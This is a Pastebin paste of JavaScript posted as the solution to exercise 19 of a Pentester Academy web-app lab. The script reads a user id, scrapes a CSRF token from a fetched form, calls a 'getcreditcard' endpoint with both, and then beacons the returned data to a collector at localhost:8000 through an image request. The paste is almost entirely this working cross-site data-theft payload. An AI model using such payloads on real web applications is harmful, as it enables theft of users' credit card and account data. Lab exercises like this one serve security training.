n0va_sa

JFP 19 Solution [multi layer processing]

Sep 26th, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var x = document.querySelector('a');
  2. var uid = x.innerText.split(':')[1];
  3.  
  4. var reqHandel = new XMLHttpRequest();
  5. reqHandel.onreadystatechange = function(){
  6.  if (this.readyState == 4 && this.status == 200){
  7.  var el = document.createElement( 'html' );
  8.  el.innerHTML = reqHandel.responseText;
  9.  var token = el.querySelectorAll('form input')[1].value;
  10.  (function(){
  11.     var handel = new XMLHttpRequest();
  12.     handel.onreadystatechange = function(){
  13.         if (this.readyState == 4 && this.status == 200){
  14.         var cc = document.createElement( 'html' );
  15.         cc.innerHTML = handel.responseText;
  16.         document.querySelector('#result').innerText = cc.querySelector('#result').innerText;
  17.         new Image().src = "http://localhost:8000/?user=" + document.querySelector('#result').innerText;
  18.         }
  19.     }
  20.     var urlTo = 'http://pentesteracademylab.appspot.com/lab/webapp/jfp/19/getcreditcard?uid='+uid+'&csrf_token='+token;
  21.     handel.open('GET',urlTo, true);
  22.     handel.send();
  23.  })();
  24.  }
  25. }
  26. reqHandel.open('GET',x.href,true);
  27. reqHandel.send();
Add Comment
Please, Sign In to add comment